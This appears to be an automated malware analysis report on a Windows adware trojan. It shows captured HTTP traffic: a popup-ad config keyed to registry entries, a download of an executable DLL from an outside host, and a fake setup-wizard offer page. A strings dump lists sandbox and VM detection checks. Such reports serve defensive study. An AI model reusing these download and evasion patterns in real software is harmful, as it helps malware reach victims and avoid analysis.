cdata=86394263D6DED7AD3ED013DFEF7E64F6137A208FB1ABB3F74C63F2DAA19383D3FD1D608CEFC8325742961BFA23E787C053B8D6AD3DD461FCB0B26CE7A08C38A5D6DB823BE60CB284611998991028BE38C4EF69891E674B1B8B220BFB20BAD163FFEDA11648DD04F847C1B242EC415E48225CBBD8B904AF067D156766B526CCBE7C5A0D883E951EA5AD000DEB02A60D93678FFFE2322BC8AD739A7AB9B51737C7420E905D5A95F94DF0E36F22BDC30673F04DB707C22DF0D5D841635DB31D53EBBDBE070CF7B3488AB5702A2C720EE2F0B6CA39E8F5945C12FDA6C21F9B53972EF8B71667CA8047C1D5AEE58480329B599AFB99FA369C7B594376BA3B4B937EB6F9DB209A9AE5A8FC7FF2260F0BCCFDC134EBB3D49BC485F70482186B078195BDC01B0E2D4EF11DA64C9F332E1C85EE5ECA41F7D69DC02FDA7EA6D848D6A7119D90304E2515D06C1E1B2B361300AA1993A0D91F969587BCA82E1CA422A82779508785DB078144A731996CA6BF29943209034D097E2D8997AEB57266FE31BDE0A76AF56DA507D97931DF35C85A16BB1A3D3B2BDB3739CD4FB66301AA3FF7D5C43F9AAB48CEDE83DC90E20D6318041E19D40C48FA24CFCB13694291381321D5CECF1CE7836265A1B5CEAFEF0B04FCDDFC5C15EB342DEE74D38525B4F8D2F74895AF455383052C61604AFCBBB24C1F5204684FD341125B8C33E15B44C80BCFA30B03FFF72B1DFAC465D00880C6D91B4F53654F7FD7455D484A56F7F7087B32E77C367D4AC6E34159F6487E7F5707940C065C768C5793234FFF1456E470881547694137DC7974EF1FDD3B4E58DB25DC1EC134E81788
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Thu, 25 Feb 2016 23:57:33 GMT
Server: nginx
Content-Length: 7
Connection: keep-alive
MAXTHX.HTTP/1.1 200 OK..Content-Type: text/plain..Date: Thu, 25 Feb 2016 23:57:33 GMT..Server: nginx..Content-Length: 7..Connection: keep-alive..MAXTHX...
GET /sdb/e0/WebBrowser.xml?decf7501-272a-4aa5-8ede-8d6cd5d3c4dc HTTP/1.1
Host: staticrr.fastplayerpro.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 25 Feb 2016 23:57:38 GMT
Content-Type: text/xml
Content-Length: 4334
Last-Modified: Wed, 13 Jan 2016 11:17:51 GMT
Connection: keep-alive
ETag: "5696325f-10ee"
Accept-Ranges: bytes
<Popup>...<Version>1.0.0.10</Version>.. <Enabled>true</Enabled>...<Size height="768" width="1000"/>.. <FrecuencyPerHour>4</FrecuencyPerHour>.. <MaxWindows>4</MaxWindows>.. <LaunchDate>07/01/2015</LaunchDate>.. <Url container="popup">hXXp://redirect-wb.com/</Url>.. <UrlRedirect>hXXp://redirect-wb.com/</UrlRedirect>...<UrlNotAllowedCountries countries="AE,IR,IL,EG,CN,BA,RS,TH,IN,CZ,ID,VN,PH,PK" container="popup">hXXp://network.adsmarket.com/click/jGJunWecqZmOZnCXYcp6w4iQa5xgn36bi2SYm2Gif5mJkGqXXpt-lbdia5hhn3qX</UrlNotAllowedCountries>.. <UrlByRegister>....<Url container="browser" key="HKLM\SOFTWARE" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key=8a35d9a5b93c671dcef88419ab81871b&width=0&height=0]]></Url>....<Url container="browser" key="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\TeamSpeak 3 Client" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key=0d8448124f556ffceee148f60ea374f6&width=0&height=0]]></Url>....<Url container="browser" key="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\RaidCall" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key=0d8448124f556ffceee148f60ea374f6&width=0&height=0]]></Url>....<Url container="browser" key="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{EEB3F6BB-318D-4CE5-989F-8191FCBFB578}" priority="5"><![CDATA[hXXp://n149adserv.com/ads?key=0d844812
<<< skipped >>>
GET /js/show_ads.js HTTP/1.1
Accept: */*
Referer: hXXp://VVV.hitmagno.com/BesH3gE9/pop-up/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: n149adserv.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=3600
Accept-Ranges: bytes
Content-Type: application/javascript;charset=ISO-8859-1
Transfer-Encoding: chunked
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Thu, 25 Feb 2016 23:57:26 GMT
Connection: close
a..............200...;ks.8... d..B.hINvr7dXZ.qv<.dfm'.:G..IHbB.Z..........|H..]].}.L6...../..,..Uz.....e....[.eQ...#.qr.....g.. .!n.Vw...m..,Y..X..!.4O..V.5...QT.8....u^.....M.AwQX,...G...V.l..OQ.^..*f.7...?I.y..(.a..<..D....8..e..k.6....s.."w.g[..D..<.}.|.5f...I.7~.:Ko.T7o.N."J.....`.....V0........(...X...h...G:aq...N.5.}zH.lFA.........S. ...<J........uX>u..... ......$.7g!..A..k\...Oc....g..R.c...r....-.k`.YR.g.A.<.vw..T..x..A.F............g!..t.b).{...9..-.9....rM..j6..Q...O."....<.._.t..-.o.y.m.\._..[$..@....8 .e.EZ....D.. ..200....... M.4..;.%...x......{..).?g.<up@!I...}9s..9...Fu...J.q|..T.....w.Oc..q..F".~..`....w..*..FW.W0.......H.;.......P[.Q..T..?D..j.."j..P..sWqTXR......[...^...;.j..3...........A1.I..S{.......lfQ..9........u.b.Raa.=.X0.9....#.)....#`..Y~....9q...Sx0...*Y.R.....(............#..[V.g5a..w`y5.P#.g2%U...... }.C.A-.P...:_Z\o./........h.......fj........-qF,.k....E..bw....W.,X.....{...7d.*.r..aawru.A5...L#..-^........q dkL........]....H....<.%.........>l...}..p]v ....n....3.&.5...6.G..... |..<../...@.?.....}k....f.....200...%......)AcT..[@.....5./..$.E"A..{.3._.zv!.N....Q.!....!...\..r....ufY......`//......3..l ..:{.<.......9.....8....}Q.JFmC.&.....@....W..9...<e!.3...G].."i...`t..H.......Y...:MJ...QP..i..1.?..I#c%......_W..~..T...w.D........J...=bCW#......A.'.4.[.b.&........_A.g`..h..AoIJ.b.3...............&....%.i.e.:M..O..&c....};....E5..f.. km-.....].g..?n.B` . ^..y..fs=........W....@..f.9>?G.`px....H).S.......&...Xgd..C..[...R..uF].^j.!7...0.0.m.
<<< skipped >>>
GET /d5/msjava.dll HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: static.hitmagno.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/octet-stream
Date: Thu, 25 Feb 2016 23:57:14 GMT
ETag: "54ef0d1c-e5910"
Last-Modified: Thu, 26 Feb 2015 12:10:04 GMT
Server: nginx
Content-Length: 940304
Connection: keep-alive
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....C8...........#...............................k................................m...............................`#..te...........................................................................................................................text............................... ..`.data...d"......."..................@....rsrc...............................@..@.reloc..............................@..B4.D8@...0[.8M..... 8W...4.D8a...4.D8l...6.D8y...5.D8............KERNEL32.dll.NTDLL.DLL.GDI32.dll.USER32.dll.ADVAPI32.dll.OLEAUT32.dll.ole32.dll......................................................................................................................................................................................................................................................................................................................................................... ...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/gif
Date: Thu, 25 Feb 2016 23:57:23 GMT
ETag: "54f07a05-12d72"
Last-Modified: Fri, 27 Feb 2015 14:07:01 GMT
Server: nginx
Content-Length: 77170
Connection: keep-alive
GIF89a|..............................c........"..y..4.....H.....i...../..1..2.....M.....W...........v...........-..u........0..1.. ..... ........*.....!.....*.....,..{........z..s.....5........&.."..(..(..,..2..4..8..).. ..u..... ..$.....z..m...........*......../..*.....,...........4..".....%..'.. ..............%........(../..............!..............8.....&..3.....)..... ../........%..4.....!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C7B15D6A6C0511E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:C7B15D6B6C0511E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C7B15D686C0511E4901AB7B77D879212" stRef:documentID="xmp.did:C7B15D696C0511E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.....
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Date: Thu, 25 Feb 2016 23:57:24 GMT
ETag: "54f07a01-599"
Last-Modified: Fri, 27 Feb 2015 14:06:57 GMT
Server: nginx
Content-Length: 1433
Connection: keep-alive
.PNG........IHDR...*...*.....J.^.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:24FEED836BEF11E4901AB7B77D879212" xmpMM:DocumentID="xmp.did:24FEED846BEF11E4901AB7B77D879212"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:24FEED816BEF11E4901AB7B77D879212" stRef:documentID="xmp.did:24FEED826BEF11E4901AB7B77D879212"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>lW1.....IDATx.b|...0p..?.@....l...#...k.....!..T?.&..}_......{....`..?....{..z...'..a..C*....'V.....&VV"M...eWT...{..X...b..\\.M.LHP.:..0.v..9..?.>.W.......ax....X...MM.........~.xA.d....".nTT............/w..c,...!.....\T..;w.Z.......D.K......O....G.......E..$X.D...9..../......K..$...JD.CF_............>.......Lc.f.U.$.7.NqJK...".....|}.<|H.Qd.z...xTU.ll@I....II..^.T.......d.....98.>..w RNK.*....C.._.<..q.....mX.)...?..D.l!.{<...7o......\........W.....^.|,?..v.;p.B..B..r..d.~B.........X%....b-<..c {9.Im.O..........Z?l...v\. ...F.0_B.5....IEND.B`.....
<<< skipped >>>
GET /__maxpower__/render_screen/2014/11/a888aa68-73d0-11e4-b71d-06a3579b0dab/screen_variation=videoUpdater HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Language: en
Content-Type: text/html; charset=utf-8
Date: Thu, 25 Feb 2016 23:57:33 GMT
Server: nginx
Vary: Accept-Language
Content-Length: 814
Connection: keep-alive
.<!--finish Videoupdater-->....<div class="finish">..<h1>........Setup Wizard.......</h1>..<p style="margin-top: 15px; font-size: 13px;">You have succesfully installed the software below and they are ready to be used:</p>....<div class="items">...<ul>....<li class="check">%mapp%</li>......</ul>..</div>....<div class="clear"></div>....<p>Recommended offers:</p>......<div class="list-toolbars" id="alloffers">....<ul class="_FinishOffers">....</ul>...</div>....<!--...<div class="banner">......<iframe src="hXXp://n149adserv.com/ads?key=09879bcf6e631312a2c4d02d9cae272f&width=300&height=250" frameborder='0' scrolling='no' width='300' height='250'></iframe>...</div> ..-->.........<input id="_Bexit" class="_Bexit close absol" tabindex="2" type="submit" name="nombre" onclick='onExit()' value="Close">....</div>..HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Language: en..Content-Type: text/html; charset=utf-8..Date: Thu, 25 Feb 2016 23:57:33 GMT..Server: nginx..Vary: Accept-Language..Content-Length: 814..Connection: keep-alive...<!--finish Videoupdater-->....<div class="finish">..<h1>........Setup Wizard.......</h1>..<p style="margin-top: 15px; font-size: 13px;">You have succesfully installed the software below and they are ready to be used:</p>....<div class="items">...<ul>....<li class="check">%mapp%</l
<<< skipped >>>
GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: api.hitmagno.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/gif
Date: Thu, 25 Feb 2016 23:57:33 GMT
ETag: "54f079fd-36"
Last-Modified: Fri, 27 Feb 2015 14:06:53 GMT
Server: nginx
Content-Length: 54
Connection: keep-alive
GIF89a.............!.......,...................P..U..;HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: image/gif..Date: Thu, 25 Feb 2016 23:57:33 GMT..ETag: "54f079fd-36"..Last-Modified: Fri, 27 Feb 2015 14:06:53 GMT..Server: nginx..Content-Length: 54..Connection: keep-alive..GIF89a.............!.......,...................P..U..;..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_652:
`.rsrc
`.rsrc
u%Shh
u%Shh
@t-9}
@t-9}
NSSh:
NSSh:
FV<.tn>
FV<.tn>
F$.xE
F$.xE
J!"#$J%J&'()*J ,JJJJJJJJ-J.JJ/0J1JJJJJJJJJJJJJJJJJJ23JJ4567JJ8JJJJJ9:;JJJJJ?JJJJJJJJ@JJJJJJAJJJJJBJJCJJJJJJJJJJJDEJJJJJJJFJGJJJJJJJJJJJJHJI
J!"#$J%J&'()*J ,JJJJJJJJ-J.JJ/0J1JJJJJJJJJJJJJJJJJJ23JJ4567JJ8JJJJJ9:;JJJJJ?JJJJJJJJ@JJJJJJAJJJJJBJJCJJJJJJJJJJJDEJJJJJJJFJGJJJJJJJJJJJJHJI
j-hd}T
j-hd}T
j.hd}T
j.hd}T
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlexcept.h
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlexcept.h
HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0
HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0
kernel32.dll
kernel32.dll
%System%\drivers\vmmouse.sys
%System%\drivers\vmmouse.sys
%System%\drivers\vmhgfs.sys
%System%\drivers\vmhgfs.sys
%System%\drivers\VBoxMouse.sys
%System%\drivers\VBoxMouse.sys
sbiedll.dll
sbiedll.dll
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xdebug
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\streambuf
SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE '%XEN%')
SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE '%XEN%')
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\cstringt.h
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\cstringt.h
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xiosbase
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xiosbase
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Classes\ProcMon.Logfile.1\shell\open\command
Software\Classes\ProcMon.Logfile.1\shell\open\command
IsWindowsServer
IsWindowsServer
hXXps://ssl.google-analytics.com/collect?
hXXps://ssl.google-analytics.com/collect?
IWX^^^^^gkmv"-88BDRXcgiu}$/:HOY]fsz 4IKTU_lo}&27>EMVefox#/6:?LV\]jp|"/35@@KSXgr "#2:=BOX_gly
IWX^^^^^gkmv"-88BDRXcgiu}$/:HOY]fsz 4IKTU_lo}&27>EMVefox#/6:?LV\]jp|"/35@@KSXgr "#2:=BOX_gly
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocnum
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xlocnum
JUUXXXXXZdqss},09DP
JUUXXXXXZdqss},09DP
CDGIIIIIQ[bbdpux!)7>AJO^eggoqvww| .
CDGIIIIIQ[bbdpux!)7>AJO^eggoqvww| .
LSXbbbbbfrxx&(7IQ`crt}-0:HNW
LSXbbbbbfrxx&(7IQ`crt}-0:HNW
APRRRRRRWdr (58>DQUUW]hkz#4CLV]ap}&/2>JT]`hjjptx$&0>CKKX`dlx{(7FHRZ\_h
APRRRRRRWdr (58>DQUUW]hkz#4CLV]ap}&/2>JT]`hjjptx$&0>CKKX`dlx{(7FHRZ\_h
BHKXXXXXddgpq"1@LX[iosu}*-8DLPWelwx})3;GIQ^dn}%(2>AIMOZ]bnp}!&.8BDIPVWdq
BHKXXXXXddgpq"1@LX[iosu}*-8DLPWelwx})3;GIQ^dn}%(2>AIMOZ]bnp}!&.8BDIPVWdq
NVW\\\\\fgu"&()6BFGPWZ`fjmx"",.4;EHWenqy*,6=GM\gnou&.;@HLTcrt}) :BCHSXbb
NVW\\\\\fgu"&()6BFGPWZ`fjmx"",.4;EHWenqy*,6=GM\gnou&.;@HLTcrt}) :BCHSXbb
CPSYYYYY_l{,:DKMR_fsv!""*79?JV^_kpu$